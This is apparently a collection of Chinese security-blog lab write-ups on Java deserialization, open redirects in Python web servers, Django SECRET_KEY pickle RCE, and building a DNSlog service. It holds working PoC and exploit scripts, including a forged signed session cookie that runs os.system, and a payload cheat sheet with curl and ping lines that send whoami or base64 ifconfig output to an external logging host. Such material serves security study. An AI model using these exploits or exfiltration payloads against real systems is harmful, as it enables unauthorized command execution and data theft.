bit4 发布的文章

Java反序列化漏洞学习实践二:Java的反射机制(Java Reflection)

0x00 前言

学习Java的反射机制是为了理解Apache Commons Collections中的反序列化漏洞做准备的。

0x01 基础

Java反射机制

  • 指的是可以于运行时加载,探知和使用编译期间完全未知的类.
  • 程序在运行状态中, 可以动态加载一个只有名称的类, 对于任意一个已经加载的类,都能够知道这个类的所有属性和方法;
    对于任意一个对象,都能调用他的任意一个方法和属性;
  • 加载完类之后, 在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象),
    这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射.
  • 每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类.

Class对象的获取方法

  • 实例对象的getClass()方法;
  • 类的.class(最安全/性能最好)属性;(如Demo代码和下图)
  • 运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用).
    注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

1 (1).png

0x02 通过反射方法调用函数

该Demo主要实践主要学习使用反射方法来调用类中的函数。

package Step2;

import java.lang.reflect.Method;

public class reflectionTest {

    public static void main(String[] args){

        Method[] methods = test.class.getMethods();
        //获取类的方法二,有点类似python的getattr()。java中每个类型都有class 属性
        //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合

        /* String name = test.class.getName();
         * int modifiers = test.class.getModifiers();
         * .....还有很多方法
         * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性;
         * 知道了它的方法和属性,就可以调用这些方法和属性。
         */

        //调用test类中的方法
        for(Method method : methods){
            if(method.getName().equals("int2string")) {
                System.out.println("method = " + method.getName());

                Class[] parameterTypes = method.getParameterTypes();//获取方法的参数
                Class returnType = method.getReturnType();//获取方法的返回类型
                try {
                    //method.invoke(test.class.newInstance(), 666);
                    Object x = method.invoke(new test(1), 666);
                    System.out.println(x);
                    // new关键字能调用任何构造方法。 newInstance()只能调用无参构造方法。
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }

        try {
            Method method = test.class.getMethod("int2string", Integer.class);
            Object x = method.invoke(new test(2), 666);//第一个参数是类的对象。第二参数是函数的参数
            System.out.println(x);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class test{
    private Integer n;  

    public test(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
}

0x03 通过反射方法弹个计算器

Step1中,我们通过重写readObject方法,直接在里面使用Runtime.getRuntime().exec("calc.exe")来执行代码。现在需要改造一下,使用反弹方法来实现,成功调试的代码如下:

package Step2;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;

/*
 * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。
 */

public class reflectionTest2 implements Serializable{
    private Integer n;  

    public reflectionTest2(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法

        try {//通过反射方法执行命令;
        Method method= java.lang.Runtime.class.getMethod("exec", String.class);
        Object result = method.invoke(Runtime.getRuntime(), "calc.exe");    
        }
        catch(Exception e) {
            e.printStackTrace();
        }
        }

    public static void main(String[] args){
        //reflectionTest2 x= new reflectionTest2(2);
        //operation.ser(x);
        operation.deser();
    }
}



class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

执行结果:

2.png

0x04 思考总结

程序的两大根本:变量与函数

所以总的来说,要想控制程序实现命令执行,有2个方向:

  • 控制代码、函数:就像命名注入等注入类漏洞一样数据被当作了代码执行;或者和上面的Demo代码一样重写readObject,加入自定义的代码(当然这种场景基本不存在,任意文件上传和执行勉强算是属于这种情况)。
  • 控制输入、数据、变量:利用代码中已有的函数和逻辑,通过改变输入内容的形态实现流程的控制(不同的输入会走不同的逻辑流程,执行不同代码块中的代码)。

对于java反序列化漏洞,属于控制数据输入,它有2个基本点必须要满足:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的(由于不存在代码注入,只能查找已有代码逻辑中是否有这样的类)。
  2. 在重写的readObject()方法的逻辑中有 method.invoke函数出现,而且参数可控。

再稍作抽象:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的。(主线流程,反序列化漏洞都是这个主线逻辑流程)
  2. 在重写的readObject()方法的逻辑中有
    直接或间接使用类似method.invoke这种可以执行调用任意方法的函数,而且参数可控。(是否还有其他函数可以达到相同的目的呢?)

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step2

0x05 参考

Java反序列化漏洞学习实践一:从Serializbale接口开始,先弹个计算器

0x01 基本概念

  • 什么是序列化和反序列化

Serialization(序列化)是指把Java对象保存为二进制字节码的过程;反序列化deserialization是把二进制码重新转换成Java对象的过程。

  • 什么情况下需要序列化

a.当你想把的内存中的对象保存到一个文件中或者数据库中时候;

b.当你想用套接字在网络上传送对象的时候;

c.当你想通过RMI传输对象的时候;

总之,序列化的用途就是传递和存储。

  • 如何实现序列化

将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。

序列化与反序列化都可以理解为“写”和“读”操作 ,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。

/**

 * 写入对象内容

 */

private void writeObject(java.io.ObjectOutputStream out)

/**

 * 读取对象内容

 */

private void readObject(java.io.ObjectInputStream in)
  • 一些注意点

当然,并不是一个实现了序列化接口的类的所有字段及属性,都是可以序列化的:

如果该类有父类,则分两种情况来考虑:

1.如果该父类已经实现了可序列化接口,则其父类的相应字段及属性的处理和该类相同;

2.如果该类的父类没有实现可序列化接口,则该类的父类所有的字段属性将不会序列化,并且反序列化时会调用父类的默认构造函数来初始化父类的属性,而子类却不调用默认构造函数,而是直接从流中恢复属性的值。

如果该类的某个属性标识为static类型的,则该属性不能序列化。

如果该类的某个属性采用transient关键字标识,则该属性不能序列化。

a.当一个父类实现序列化,子类自动实现序列化,不需要显式实现Serializable接口;

b.当一个对象的实例变量引用其他对象,序列化该对象时也把引用对象进行序列化;

0x02 简单实例

以下代码是一个简单的实现序列化和反序列化操作的Demo:

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     */
    private static final long serialVersionUID = 1L;

    private int n;  

    public deserTest(int n){ //构造函数,初始化时执行
        this.n=n;
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);//实例一个对象
        operation.ser(x);//序列化
        operation.deser();//反序列化
    }
}

class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

运行结果:

1.png

0x03 自定义反序列化的行为:弹个计算器

自定义序列化和反序列化过程,就是重写writeObjectreadObject方法。

对以上代码进行改造,加入readObject方法的重写,再重写函数中加入自己的代码逻辑。

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest2 implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     * 然后重写readObject方法,实现弹计算器。
     */
    private static final long serialVersionUID = 1L;

    private int n;

    public deserTest2(int n){ //构造函数,初始化时执行
        this.n=n;
    }
    //重写readObject方法,加入了弹计算器的执行代码的内容
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("test");
    }

    public static void main(String[] args) {
        //deserTest2 x = new deserTest2(5);//实例一个对象
        //operation2.ser(x);//序列化
        operation2.deser();//反序列化
    }
}

class operation2 {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

以上代码,先取消main函数中的注释运行一次,以便生成正确的object.obj文件。而后加上注释运行一次,以保证只从object.obj文件中读取内容进行反序列化操作。如果无错误,第二次执行将看到弹计算器。

2.png

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step1

0x04 参考

Python http.server和web.py的URL跳转漏洞实践

0x01 前言

看了Phithon的文章,分析了2个Python的web服务器中的URL跳转漏洞,自己也尝试跟着思路理一理。

0x02 函数的本意

这个函数的本意是:

判断当前请求的url中的path(也就是本例中的“email”)是不是一个存在的路径,如果是则通过301重定向到

email/ 这是其他web服务器都具有的一个正常操作。

http://127.0.0.1:8000/email

会自动跳转到

http://127.0.0.1:8000/email/

可以通过浏览器正常访问试一试,正常的web服务器都会这样跳转。

正常的请求.png

通过断点调试看到的信息(关于调试给SimpleHTTPServer.py下断点,方法和给自己的代码下断点一样,因为它里面直接有一个测试函数,可以直接运行SimpleHTTPServer.py来启动一个web服务器):

本来的功能.png

0x03 单斜杠和双斜杠对于ulrparse.urlsplit()

从phithon的文章中可以看出,要实现URL的跳转的一个关键是浏览器把双斜杠后面的内容当作域名。

我们在BurpSuite中试试,发现能通过可以构造出带双斜杠的Location返回(如下图)。

双斜杠的差异.png

继续在代码中加断点中看看,可以看出,当请求的url是单斜杠时(如上图下半部分),email是被认为是path,当是双斜杠时却被认为是netloc。个人认为这是http.server和其他web服务器所不同的地方(比如nginx,自己试过,访问http://www.polaris-lab.com/img 和访问http://www.polaris-lab.com//img 的结果都是一样的,说明这2个请求中,img都被认为是path)。

yyy.png

可以看出,关键是urlparse.urlsplit()函数导致的。

urlsplit.png

再验证一下上面提到的nginx中是否可以构造出带双斜杠的Location。结果表明不行,所以,这个漏洞之所以成立的一个前提条件就是:使用了urlparse.urlsplit()来解析path导致可以构造出双斜杠的Location返回,否则这个漏洞将不成立。(所以修复方案是否可以朝着这个思路来?)

nginx.png

0x04 为什么需要%2f..

如果是:

http://127.0.0.1:8000//example.com//..

最后的/..将被浏览器处理,根本发送不到服务器端,发送到服务端的请求将是(可以抓包验证一下),

http://127.0.0.1:8000//example.com/

想要发送到服务器端,就必须对/进行URL编码,即:

http://127.0.0.1:8000//example.com/%2f..

而到了服务器端,这个//example.com/%2f..将被translate_path()函数处理,会先进行url解码然后转换为系统路径

translatepath.png

解码后的内容为//example.com//..也就是当前路径了。

translatepath1.png

0x05 PoC脚本

以上基本理清了PoC中的一些关键点,附上自动化检测脚本,可直接用于POC-T。

http.server open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
paylaod: http://127.0.0.1:8000//example.com/%2f%2e%2e
测试状态:成功
'''

import requests
import urlparse
import sys

def poc(url):
    x = urlparse.urlparse(url)
    target = "{0}://{1}".format(x.scheme,x.netloc)

    payload = "{0}//example.com/%2f%2e%2e".format(target)

    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

web.py open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
漏洞名称:Struts2漏洞S2-045
实验环境:VulApps/s/struts2/s2-045
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
测试状态:
'''

import requests
import urlparse
import sys
import urllib

'''
payload: http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
说明:根据p神的文章,是只有处理静态文件的代码是继承了SimpleHTTPRequestHandler类,才会受到影响
所以,这里的提供的url,最好是静态文件的url,比如 js、css、图片的完整url。
'''


'''
#
import web

urls = (
    '/(.*)', 'hello'
)
app = web.application(urls, globals())

class hello:
    def GET(self, name):
        if not name:
            name = 'World'
        return 'Hello, ' + name + '!'

if __name__ == "__main__":
    app.run()
'''


def poc(url):
    print("you should provide a static resoure url, like js|css|image")
    x = urlparse.urlparse(url)
    path_list = x.path.split("/")
    path_list.pop()
    path_list.remove("")
    path_list.append("")# list是有序的
    path= "%2f".join(path_list)
    #path = urllib.quote(path)
    #print(path)
    target = "{0}://{1}".format(x.scheme,x.netloc)
    #http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
    payload = "{0}////{1}@www.example.com/..%2f".format(target,path)
    print(payload)
    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

0x06 参考

Django的Secret Key泄漏导致的命令执行实践

0x01 Secret Key的用途和泄漏导致的攻击面

Secret Key主要用于加密、签名,下面是官方文档的说明:

The secret key is used for:

  • All sessions if you are using any other session backend thandjango.contrib.sessions.backends.cache, or are using thedefaultget_session_auth_hash().
  • All messages if you are using CookieStorage orFallbackStorage.
  • All PasswordResetView tokens.
  • Any usage of cryptographic signing, unless a different key is provided.

Secret Key泄漏可能的攻击面:

  • 远程代码执行,如果使用了cookie-based sessions。当然其他可以操作session_data的问题都可能导致
  • 任意密码重置,contrib.auth.token.
  • CSRF
  • ...

我们主要关注远程代码执行这个点。

0x02 Django Session的几种方式

  • 数据库(database-backed sessions)

如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是session_key,服务端会根据这个session_key来查询数据库,从而获取到session_data。就是说session_data是存在服务端的。

cooke_session.png

  • 缓存(cached sessions)
  • 文件系统(file-based sessions)
  • Cookie(cookie-based sessions)

当Django使用了这种方式的时候,和其它几种方式不同的是,它将session_data也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改session_data。这也是我们将要讨论的重点。

0x03 环境准备

关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得session_data之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作session_data,就有可能导致代码执行。

而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:

  1. 使用了cookie-based sessions
  2. 使用了serializers.PickleSerializer

注:Django1.5级以下,session默认是采用pickle执行序列号操作django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer

Djgano测试环境部署:

#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py startapp testapp

#在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件!
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
#因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。

urls.py的内容如下:

from django.conf.urls import url
from django.contrib import admin
from testapp import views

urlpatterns = [
    url(r'.*$', views.index),
    url(r'^admin/', admin.site.urls),
]

views.py中的内容如下:

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.
def index(request):
    x= request.session
    print x.values
    print dir(x)
    print x.serializer
    print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列
    return HttpResponse(x)

注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。

以上就完成了环境的准备,运行python manage.py runserver启动服务。

0x04 PoC及验证

关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造

poc.py的内容如下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers,proxies = proxy)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
    exp(url,SECRET_KEY,command)

运行poc.py时,后台的输出结果:

success.png

print x['userid']对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。

PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用signing.dumps,也可单独使用pickle.dumps然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。

本文环境和代码的下载地址:

0x05 参考

DnsLog的改造和自动化调用

0x01 DNSlog的改造

一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:

http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token

http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录

http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录

改造后的项目地址:https://github.com/bit4woo/DNSLog

0x02 本地接口类

服务端OK了之后,为了在PoC中快速调用,也在本地实现了一个类:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import hashlib
import time
import requests
import json

class DNSlog():
    def __init__(self,subdomain=None):
        if subdomain == None:
            self.subdomain = hashlib.md5(time.time()).hexdigest()
        else:
            self.subdomain = subdomain
        self.user_host = "test.code2sec.com"
        #self.user_host = "127.0.0.1:8000"
        self.api_host = "admin.code2sec.com"
        #self.api_host = "127.0.0.1:8000"
        self.token = ""
        self.username= "test"
        self.password = "123456"
        self.login()

    def gen_payload_domain(self):
        domain = "{0}.{1}".format(self.subdomain, self.user_host)
        return domain

    def gen_payload(self):
        domain ="{0}.{1}".format(self.subdomain,self.user_host)
        poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
        return poc

    def login(self,username=None,password=None):
        if username == None:
            username = self.username
        if password == None:
            password = self.password
        url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
        print("DNSlog Login: {0}".format(url))
        response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
        if response.status_code ==200:
            token = json.loads(response.content)["token"]
            self.token = token
            return True
        else:
            print("DNSlog login failed!")
            return False

    def query(self,subdomain,type="dns",token=None,delay=2):
        time.sleep(delay)
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
        print("DNSlog Query: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False

    def delete(self, subdomain,type="dns", token =None):
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
        print("DNSlog Delete: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False


if __name__ == "__main__":
    x = DNSlog("xxxx")
    x.login("test","123456")
    x.query("dns","123",x.token)
    x.delete("dns","123",x.token)

调用流程:

  1. 首先实例化DNSlog类,如果有传入一个字符串,这个字符串将被当作子域名,如果没有将生成一个随机的
  2. 调用gen_payload_domain()或者gen_payload()来返回域名或者"ping -n 3 {0} || ping
    -c 3 {1}"格式的payload
  3. 调用login()接口实现登陆,然后获取token,如果有传入账号和密码,将使用传入的,否则使用默认的
  4. 在使用生成的域名或者payload进行检测之前,建议先调用delete()来清除域名相关记录,避免误报
  5. PoC中使用payload进行请求
  6. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。

0x03 使用Docker搭建DnsLog服务器

感谢草粉师傅的帮助

域名和配置

搭建并使用 DNSLog,需要拥有两个域名:

1.一个作为 NS 服务器域名(例:polaris-lab.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):

ns1.polaris-lab.com  A 记录指向  10.11.12.13
ns2.polaris-lab.com  A 记录指向  10.11.12.13

2.一个用于记录域名(例: code2sec.com):修改 code2sec.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):

NS  *.code2sec.com   ns1.polaris-lab.com
NS  *.code2sec.com   ns2.polaris-lab.com

注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。

changeNameServer.png

Docker镜像构造

Dockerfile内容如下:

FROM ubuntu:14.04

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip

COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py

COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]

EXPOSE 80

下载 dnslog/dnslog/settings.py并对如下字段进行对应的修改,保存settings.py:

# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'

# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'

# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'

# 服务器外网地址
SERVER_IP = '10.11.12.13'

创建一个dnslog的启动脚本,保存为start.sh:

#!/bin/bash
python manage.py runserver 0.0.0.0:80

准备好如上3个文件后,可以构建镜像了

docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导

docker exec -it container_ID_or_name /bin/bash
./start.sh

配置验证

使用nslookup命令进行验证,如果可以直接测试xxx.test.code2sec.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.polsris-lab.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。

nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com

当然,在查询的同时可以登录网页端配合查看,是否收到请求。

在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.code2sec.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.polaris-lab.com, 结果就一切正常了。

管理网站

后台地址:http://code2sec.com/admin/ admin admin

用户地址:http://admin.code2sec.com/ test 123456

更多详细问题参考项目:https://github.com/BugScanTeam/DNSLog

记得修改默认的账号密码!

0x04 Payload使用技巧

||兼容windows和linux

ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。

使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com

命令优先执行

%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai` 
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边

测试效果如下:
root@ubuntu:~# echo `whoami`@bit4
root@bit4

E:\>echo %OS%@bit4
Windows_NT@bit4

使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址

command_first.png

消除空格

id|base64

使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0` 
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来

base64.png

window下的curl

start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口

常用Payload汇总

#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com

#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com

C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"

#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com

#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`